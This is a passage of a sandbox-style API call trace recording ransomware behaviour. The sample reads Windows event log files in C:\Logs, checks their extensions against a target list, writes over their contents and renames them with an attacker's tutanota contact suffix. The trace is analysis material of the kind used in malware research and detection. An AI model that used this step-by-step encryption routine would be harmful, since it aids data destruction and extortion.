(lpString1=".1cd", lpString2="evtx") returned -1 [0076.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0076.229] lstrlenW (lpString=".jpg") returned 4 [0076.229] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.229] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0076.229] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56 [0076.229] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0076.229] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2166784) returned 1 [0076.229] CloseHandle (hObject=0x350) returned 1 [0076.230] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0076.230] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.230] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0076.230] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0076.230] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc64 | out: lpNewFilePointer=0x0) returned 1 [0076.230] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0076.230] ReadFile (in: hFile=0x350, lpBuffer=0x35f1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x35f1058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0076.237] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0076.237] ReadFile (in: hFile=0x350, lpBuffer=0x3631058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x3631058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0076.262] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2adfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.262] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0076.262] ReadFile (in: hFile=0x350, lpBuffer=0x3671058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x3671058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0076.491] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.491] WriteFile (in: hFile=0x350, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xc015c, lpNumberOfBytesWritten=0x2adfca8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfca8*=0xc015c, lpOverlapped=0x0) returned 1 [0076.890] SetEndOfFile (hFile=0x350) returned 1 [0076.965] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3e5ba88 [0076.971] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0076.971] WriteFile (in: hFile=0x350, lpBuffer=0x3e5ba88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e5ba88*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0076.974] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0076.974] WriteFile (in: hFile=0x350, lpBuffer=0x3e5ba88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e5ba88*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0076.976] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0076.976] WriteFile (in: hFile=0x350, lpBuffer=0x3e5ba88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e5ba88*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0076.978] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0076.981] CloseHandle (hObject=0x350) returned 1 [0077.921] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0077.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0077.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0077.922] lstrlenW (lpString=".doc") returned 4 [0077.922] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.922] lstrlenW (lpString=".docx") returned 5 [0077.922] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.922] lstrlenW (lpString=".pdf") returned 4 [0077.922] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.922] lstrlenW (lpString=".xls") returned 4 [0077.922] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.922] lstrlenW (lpString=".xlsx") returned 5 [0077.922] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.922] lstrlenW (lpString=".ppt") returned 4 [0077.922] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0077.922] lstrlenW (lpString=".zip") returned 4 [0077.922] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.922] lstrlenW (lpString=".rar") returned 4 [0077.922] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.922] lstrlenW (lpString=".bz2") returned 4 [0077.922] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.922] lstrlenW (lpString=".7z") returned 3 [0077.922] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0077.922] lstrlenW (lpString=".dbf") returned 4 [0077.922] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0077.922] lstrlenW (lpString=".1cd") returned 4 [0077.922] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0077.922] lstrlenW (lpString=".jpg") returned 4 [0077.922] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0077.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0077.923] lstrlenW (lpString=".doc") returned 4 [0077.923] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.923] lstrlenW (lpString=".docx") returned 5 [0077.923] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.923] lstrlenW (lpString=".pdf") returned 4 [0077.923] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.923] lstrlenW (lpString=".xls") returned 4 [0077.923] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.923] lstrlenW (lpString=".xlsx") returned 5 [0077.923] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.923] lstrlenW (lpString=".ppt") returned 4 [0077.923] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0077.923] lstrlenW (lpString=".zip") returned 4 [0077.923] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.923] lstrlenW (lpString=".rar") returned 4 [0077.923] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.923] lstrlenW (lpString=".bz2") returned 4 [0077.923] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.923] lstrlenW (lpString=".7z") returned 3 [0077.923] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0077.923] lstrlenW (lpString=".dbf") returned 4 [0077.923] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0077.923] lstrlenW (lpString=".1cd") returned 4 [0077.923] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0077.923] lstrlenW (lpString=".jpg") returned 4 [0077.923] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.924] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0077.924] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51 [0077.924] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0078.177] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=69632) returned 1 [0078.177] CloseHandle (hObject=0x354) returned 1 [0078.177] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0078.177] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.177] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0078.177] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.178] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.178] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0078.454] GetLastError () returned 0x0 [0078.454] ReadFile (in: hFile=0x354, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.458] WriteFile (in: hFile=0x390, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.463] ReadFile (in: hFile=0x354, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.464] WriteFile (in: hFile=0x390, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x13a, lpOverlapped=0x0) returned 1 [0078.464] SetEndOfFile (hFile=0x390) returned 1 [0078.464] CloseHandle (hObject=0x390) returned 1 [0078.466] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.466] SetEndOfFile (hFile=0x354) returned 1 [0078.467] CloseHandle (hObject=0x354) returned 1 [0078.467] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.468] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1 [0078.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0078.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0078.468] lstrlenW (lpString=".doc") returned 4 [0078.468] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.468] lstrlenW (lpString=".docx") returned 5 [0078.468] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.468] lstrlenW (lpString=".pdf") returned 4 [0078.468] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.468] lstrlenW (lpString=".xls") returned 4 [0078.468] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.468] lstrlenW (lpString=".xlsx") returned 5 [0078.468] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.468] lstrlenW (lpString=".ppt") returned 4 [0078.468] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0078.468] lstrlenW (lpString=".zip") returned 4 [0078.468] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.468] lstrlenW (lpString=".rar") returned 4 [0078.468] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.468] lstrlenW (lpString=".bz2") returned 4 [0078.468] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.468] lstrlenW (lpString=".7z") returned 3 [0078.468] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0078.469] lstrlenW (lpString=".dbf") returned 4 [0078.469] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0078.469] lstrlenW (lpString=".1cd") returned 4 [0078.469] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0078.469] lstrlenW (lpString=".jpg") returned 4 [0078.469] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0078.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0078.469] lstrlenW (lpString=".doc") returned 4 [0078.469] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.469] lstrlenW (lpString=".docx") returned 5 [0078.469] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.469] lstrlenW (lpString=".pdf") returned 4 [0078.469] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.469] lstrlenW (lpString=".xls") returned 4 [0078.469] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.469] lstrlenW (lpString=".xlsx") returned 5 [0078.469] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.469] lstrlenW (lpString=".ppt") returned 4 [0078.469] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0078.469] lstrlenW (lpString=".zip") returned 4 [0078.469] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.469] lstrlenW (lpString=".rar") returned 4 [0078.469] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.469] lstrlenW (lpString=".bz2") returned 4 [0078.469] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.469] lstrlenW (lpString=".7z") returned 3 [0078.469] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0078.469] lstrlenW (lpString=".dbf") returned 4 [0078.470] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0078.470] lstrlenW (lpString=".1cd") returned 4 [0078.470] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0078.470] lstrlenW (lpString=".jpg") returned 4 [0078.470] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.470] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.470] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49 [0078.470] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.480] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=69632) returned 1 [0078.480] CloseHandle (hObject=0x37c) returned 1 [0078.480] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0078.480] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.480] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.481] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.481] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.481] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0078.482] GetLastError () returned 0x0 [0078.482] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.486] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.488] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.488] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x136, lpOverlapped=0x0) returned 1 [0078.488] SetEndOfFile (hFile=0x35c) returned 1 [0078.488] CloseHandle (hObject=0x35c) returned 1 [0078.490] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.490] SetEndOfFile (hFile=0x37c) returned 1 [0078.491] CloseHandle (hObject=0x37c) returned 1 [0078.491] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.492] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1 [0078.492] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0078.492] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0078.492] lstrlenW (lpString=".doc") returned 4 [0078.492] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.492] lstrlenW (lpString=".docx") returned 5 [0078.492] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.492] lstrlenW (lpString=".pdf") returned 4 [0078.492] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.492] lstrlenW (lpString=".xls") returned 4 [0078.492] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.492] lstrlenW (lpString=".xlsx") returned 5 [0078.492] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.492] lstrlenW (lpString=".ppt") returned 4 [0078.492] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.492] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0078.492] lstrlenW (lpString=".zip") returned 4 [0078.492] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.492] lstrlenW (lpString=".rar") returned 4 [0078.492] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.492] lstrlenW (lpString=".bz2") returned 4 [0078.492] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.492] lstrlenW (lpString=".7z") returned 3 [0078.492] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.492] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0078.493] lstrlenW (lpString=".dbf") returned 4 [0078.493] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0078.493] lstrlenW (lpString=".1cd") returned 4 [0078.493] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0078.493] lstrlenW (lpString=".jpg") returned 4 [0078.493] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0078.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0078.493] lstrlenW (lpString=".doc") returned 4 [0078.493] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.493] lstrlenW (lpString=".docx") returned 5 [0078.493] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.493] lstrlenW (lpString=".pdf") returned 4 [0078.493] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.493] lstrlenW (lpString=".xls") returned 4 [0078.493] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.493] lstrlenW (lpString=".xlsx") returned 5 [0078.493] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.493] lstrlenW (lpString=".ppt") returned 4 [0078.493] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0078.493] lstrlenW (lpString=".zip") returned 4 [0078.493] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.493] lstrlenW (lpString=".rar") returned 4 [0078.493] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.493] lstrlenW (lpString=".bz2") returned 4 [0078.493] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.493] lstrlenW (lpString=".7z") returned 3 [0078.493] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0078.493] lstrlenW 